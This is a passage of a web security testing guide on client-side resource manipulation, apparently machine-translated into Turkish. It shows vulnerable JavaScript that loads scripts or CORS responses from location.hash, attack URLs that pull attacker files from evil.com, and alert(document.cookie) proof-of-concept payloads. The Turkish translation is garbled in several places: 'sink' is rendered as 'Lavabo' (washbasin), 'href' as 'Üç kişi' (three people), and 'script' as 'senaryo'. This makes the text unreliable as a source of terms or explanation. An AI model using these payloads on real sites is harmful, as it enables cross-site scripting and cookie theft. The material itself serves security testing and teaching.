Testing for Client-side Resource Manipulation (İstemci Tarafı Kaynak Manipülasyonu Testi)

Summary (Özet)

Müşteri tarafı kaynak manipülasyonu güvenlik açığı bir giriş doğrulama kusurudur. Bir uygulama, bir iframe, JavaScript, elma makinesi veya bir XMLHttpRequest'in işleyicisi gibi bir kaynağın yolunu belirten kullanıcı kontrollü girdiyi kabul ettiğinde ortaya çıkar. Bu güvenlik açığı, bir web sayfasında bulunan bazı kaynaklara bağlanan URL'leri kontrol etme yeteneğinden oluşur. Bu güvenlik açığının etkisi değişir ve genellikle XSS saldırıları yapmak için kabul edilir. Bu güvenlik açığı, beklenen uygulamanın davranışına, kötü niyetli nesneleri yüklemesine ve oluşturmasına neden olarak müdahale etmeyi mümkün kılar.

Aşağıdaki JavaScript kodu, bir saldırganın kontrol edebildiği olası bir savunmasız komut dosyasını gösterir. `location.hash` (kaynak) sıfata ulaşan `src` Bir senaryo öğesi. Bu özel dava, harici JavaScript enjekte edilebileceği için bir XSS saldırısına yol açar.

```
<script>
   var d=document.createElement("script");
   if(location.hash.slice(1)) {
      d.src = location.hash.slice(1);
   }
   document.body.appendChild(d);
</script>
```

Bir saldırgan, bu URL'yi ziyaret etmelerine neden olarak bir kurbanı hedefleyebilir:

`www.victim.com/#http://evil.com/js.js`

Nerede `js.js` Şunları içerir:

`alert(document.cookie)`

Bu, kurbanın tarayıcısında alarmın açılmasına neden olacaktır.

Daha zarar verici bir senaryo, bir CORS talebinde adı verilen URL'yi kontrol etme olasılığını içerir. CORS, hedef kaynağın başlık tabanlı bir yaklaşımla talep eden etki alanı tarafından erişilebilir olmasını sağladığından, saldırgan hedef sayfasından kendi web sitesinden kötü amaçlı içerik yüklemesini isteyebilir.

İşte savunmasız bir sayfanın bir örneği:

```
<b id="p"></b>
<script>
   function createCORSRequest(method, url) {
      var xhr = new XMLHttpRequest();
      xhr.open(method, url, true);
      xhr.onreadystatechange = function () {
         if (this.status == 200 && this.readyState == 4) {
            document.getElementById('p').innerHTML = this.responseText;
         }
      };
      return xhr;
   }

   var xhr = createCORSRequest('GET', location.hash.slice(1));
   xhr.send(null);
</script>
```

The (İngilizce) `location.hash` Kullanıcı girişi tarafından kontrol edilir ve daha sonra yapıya yansıyacak olan harici bir kaynak talep etmek için kullanılır. `innerHTML` . . Bir saldırgan bir kurbandan aşağıdaki URL'yi ziyaret etmesini isteyebilir:

`www.victim.com/#http://evil.com/html.html`

Yük işleyici ile birlikte `html.html` : :

```
<?php
header('Access-Control-Allow-Origin: http://www.victim.com');
?>
<script>alert(document.cookie);</script>
```

Test Objectives (Test Hedefleri)

- Düşük giriş doğrulama ile lavaboları tanımlayın.
- Kaynak manipülasyonunun etkisini değerlendirin.

How To Test (Nasıl Test Edilir)

Bu tür bir güvenlik açığını manuel olarak kontrol etmek için, uygulamanın girişleri doğru bir şekilde doğrulamadan kullanıp kullanmadığını belirlemeliyiz. Eğer öyleyse, bu girdiler kullanıcının kontrolü altındadır ve harici kaynakları belirtmek için kullanılabilir. Uygulamaya dahil edilebilecek birçok kaynak olduğundan (görüntüler, video, nesneler, css ve iframs gibi), ilgili URL'leri ele alan istemci tarafı komut dosyaları potansiyel sorunlar için araştırılmalıdır.

Aşağıdaki tablo, kontrol edilmesi gereken olası enjeksiyon noktalarını (ıstırma) gösterir:

Kaynak Türü	Etiket / Metod	Lavabo
Çerçeve	Iframe	Src
Bağlantı	bir	Üç kişi
AJAX Talebi	`xhr.open(method, [url], true);`	URL
CSS	bağlantı	Üç kişi
Görüntü	immiz	Src
Nesne	nesnesi	Veriler
Senaryo	senaryo	Src

Resource Type	Tag/Method	Sink
Frame	iframe	src
Link	a	href
AJAX Request	`xhr.open(method, [url], true);`	URL
CSS	link	href
Image	img	src
Object	object	data
Script	script	src

En ilginç olanlar, bir saldırganın XSS güvenlik açıklarına yol açabilecek istemci tarafı kodunu (örneğin JavaScript) eklemesine izin verenlerdir.